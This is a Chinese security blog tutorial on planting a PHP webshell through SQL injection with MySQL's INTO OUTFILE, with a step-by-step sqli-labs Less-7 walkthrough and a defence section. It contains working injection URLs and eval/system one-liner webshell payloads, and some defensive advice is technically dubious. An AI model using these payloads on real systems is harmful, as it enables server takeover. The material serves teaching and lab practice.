当前位置: 首页 > web >正文

利用SQL文件上传注入植入WebShell

文章目录

  • 从SQL文件上传到WebShell植入
  • 核心概念回顾
  • 核心原理
    • 漏洞前提
  • INTO OUTFILE 详解
  • 攻击链深度剖析(核心内容)
  • WebShell写入原理
  • 防御措施
  • 演示

从SQL文件上传到WebShell植入

当网站后台有 “数据导入”,“执行SQL语句” 等功能,并且允许上传SQL文件

如果这个上传和执行SQL的功能存在漏洞,会发生什么可怕的事情?

本文将揭示一种高级的攻击手法:攻击者上传一个伪装成SQL文件的 特洛伊木马,利用目标系统的SQL注入漏洞,在服务器上直接写入一个WebShell后门

这种攻击可以直接导致服务器被完全控制,数据泄露、篡改、沦为肉鸡等严重后果



核心概念回顾

  • 文件上传漏洞
    • 未对用户上传的文件进行严格校验(类型、内容、大小、路径、权限等),导致恶意文件被上传到服务器
    • 常见风险:上传WebShell、病毒、木马、进行钓鱼攻击等
  • SQL注入漏洞
    • 攻击者将恶意的SQL代码插入到应用程序的数据库查询中,欺骗数据库执行非预期的命令
    • 常见危害:窃取数据、篡改数据、删除数据、执行系统命令(在特定条件下)
  • WebShell
    • 一个运行在Web服务器上的恶意脚本文件(通常用PHP、ASP、JSP等编写),为攻击者提供远程控制服务器的图形化或命令行界面
    • 功能:文件管理、命令执行、数据库操作、内网渗透等

详细介绍请见深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell



核心原理

通过SQL注入漏洞,利用数据库的文件写入功能(如MySQL的 select … into outfile),将WebShell代码写入服务器Web目录,从而获得服务器控制权

漏洞前提

  • 存在SQL注入漏洞(如未过滤的用户输入)
  • 数据库用户具备文件写入权限(如MySQL的file权限)
  • 已知Web目录的绝对路径(如 /var/www/html
  • 可执行扩展名的写入权限(如 .php .jsp等)


INTO OUTFILE 详解

into outfile 是 MySQL 中用于将查询结果导出到服务器文件的 SQL 语句,它是数据导出和备份的重要工具,但在安全配置不当的情况下可能成为严重的安全漏洞

基本语法

SELECT column1, column2, ...
INTO OUTFILE 'file_path'

核心参数说明:

  • file_path
    • 服务器上的绝对路径(如 /var/lib/mysql-files/export.csv
    • 必须包含文件名和扩展名
    • MySQL 用户必须具有 FILE 权限

文件创建规则:

  • 文件必须在服务器本地创建(不能在远程客户端)
  • 不能覆盖现有文件(若文件已存在则报错)
  • 文件由 MySQL 服务用户创建(通常是 mysql
  • 文件权限默认为 -rw-rw----(660)

典型攻击语句:

UNION SELECT "<?php system($_GET['cmd']);?>" 
INTO OUTFILE '/var/www/html/shell.php'

这条命令的意思是将一句话木马导出到 /var/www/html/ 路径下的 shell.php 文件中



攻击链深度剖析(核心内容)

  • 步骤一:寻找攻击入口
    • 目标:找到允许上传文件(特别是SQL文件)并执行/解析/导入该文件内容的功能点
    • 常见位置:后台数据库管理模块、数据导入/导出功能、SQL查询执行页面(允许上传SQL文件执行)、系统维护功能(如“执行SQL脚本”)
    • 关键:该功能在“执行”上传的SQL文件内容时,存在SQL注入漏洞 (核心前提)
  • 步骤二:构造恶意SQL文件
    • 伪装: 文件扩展名必须是 .sql,以绕过基于扩展名的简单过滤
    • 恶意载荷: SQL文件内容包含精心构造的SQL注入语句
    • 核心恶意语句: 利用目标数据库的特性,将WebShell代码写入服务器Web目录的可访问文件中

MySQL

SELECT '' INTO OUTFILE '/var/www/html/uploads/shell.php';
--+ 或
SELECT '' INTO DUMPFILE '/var/www/html/uploads/shell.php';

/var/www/html/uploads/shell.php 是Web服务器可访问的绝对路径(攻击者需要探测或猜测)

  `` 是PHP WebShell代码(如经典的一句话木马: <?php @eval($_POST['cmd']);?>注意:需要将PHP代码中的单引号进行SQL转义(通常用’或0x27)!

  • 步骤三:上传与触发
    • 将构造好的恶意 .sql 文件通过目标系统的上传接口上传
    • 触发系统对上传的SQL文件进行“执行”、“导入”或“解析”操作。这个过程会自动执行文件中的SQL语句
  • 步骤四:执行恶意SQL & 植入WebShell
    • 目标系统(通常是数据库连接组件)读取上传的SQL文件内容并发送到数据库执行
    • 由于存在SQL注入漏洞(或者功能本身设计就是执行任意SQL),数据库会忠实地执行 select … into outfile … (或等效) 语句
    • 结果: WebShell代码被成功写入服务器Web目录下的指定文件(如 shell.php
  • 步骤五:访问WebShell & 控制服务器
    • 攻击者通过浏览器访问 http://target-site.com/uploads/shell.php
    • 通过WebShell提供的接口(如使用中国菜刀/蚁剑/Cobalt Strike等工具连接),攻击者获得服务器的命令执行权限,完全控制服务器


WebShell写入原理

SQL注入漏洞
FILE权限
secure_file_priv允许
已知Web路径
可写目录
成功写入WebShell


防御措施

尽管此攻击方法如此厉害,但还是有很多十分致命的缺点

  • 代码层:
    • 使用参数化查询(Prepared Statements)
    • 严格过滤用户输入(白名单机制)
    • 禁用危险函数(如 eval(), system()
  • 数据库层:
    • 最小权限原则:禁止FILE权限
    • 设置 secure_file_priv = NULL
  • 系统层:
    • Web目录不可执行:chmod -R 755 /var/www/html
    • 定期更新补丁与安全审计
  • WAF防护:
    • 过滤 union select, into outfile等关键词
    • 监控异常文件写入行为


演示

又到了必备的演示时间了,此次演示使用的是 sqli-labs 7
在这里插入图片描述

http://192.168.1.9/sql/Less-7/

添加注入点
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1

题目上也告诉我们了,使用 outfile

判断闭合方式
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1" --+

这个题的闭合方式有些特殊,这里可以看到用 " 也可以闭合,但进一步求证就会看出问题
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1" and 1=2--+

继续尝试,发现 ')) 也可以闭合
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) and 1=1 --+

验证一下发现报错,这即为正确答案
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) and 1=2 --+

查看源代码我们可以发现,因为 "‘’ 给闭合了,所以才不报错,但命令也不会执行
在这里插入图片描述

判断列数
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=1')) group by 1,2,3 --+

联合注入
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,3--+

撰写攻击语句
在这里插入图片描述

http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,"<?php @eval($_POST['hhh']);?>" into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\127.0.0.1\\sql\\Less-7\\hhh.sql"--+

使用 Burp 拦截上传 .sql 文件的请求,在Burp中修改上传内容
在这里插入图片描述


在网站根目录即可发现上传的文件
在这里插入图片描述


使用蚁剑链接,添加即可
在这里插入图片描述

http://www.xdnf.cn/news/16765.html

相关文章:

  • 【从零实践Onvif】01、Onvif详细介绍(从Onvif客户端开发的角度认识Onvif、Web Servies、WSDL、SOAP)
  • SpringCloud -- MQ高级
  • 数学建模——01规划/整数规划
  • Vue3 Composition API
  • Oracle迁移PostgreSQL隐式类型转换配置指南
  • RHCA - CL260 | Day03:配置 RHCS 集群
  • PyTorch 生态四件套:从图片、视频到文本、语音的“开箱即用”实践笔记
  • Git LFS 安装和使用
  • 动态规划Day5学习心得
  • 原生C++实现信号与槽机制:原理详解
  • windows环境下MySQL 8.0 修改或重置密码
  • SpringBoot 实现 RAS+AES 自动接口解密
  • 图像处理控件Aspose.Imaging教程:使用 C# 编程将 CMX 转换为 PNG
  • 基于 Rust 和土木工程、设备故障诊断、混凝土养护、GPS追踪、供应链物流跟踪系统、地下水监测等领域的实例
  • Y型M12一分二连接器:高效稳定的数据传输解决方案
  • 涿州周边水系分布三维地图
  • MyBatis Plus Wrapper 详细分析与原理
  • 代码随想录day50图论1
  • [leetcode] 反转字符串中的单词
  • Cockpit管理服务器
  • 在 CentOS 系统上安装 Docker
  • 《超级秘密文件夹》密码遗忘?试用版/正式版找回教程(附界面操作步骤)
  • NAT技术与代理服务
  • web服务器nginx
  • sqLite 数据库 (3):以编程方式使用 sqLite,4 个函数,以及 sqLite 移植,合并编译
  • USB电源原理图学习笔记
  • 相亲小程序聊天与互动系统模块搭建
  • 基于定制开发开源AI智能名片S2B2C商城小程序的B站私域流量引流策略研究
  • 线性回归原理与进阶
  • Three.js实现银河螺旋星云粒子特效——原理、实现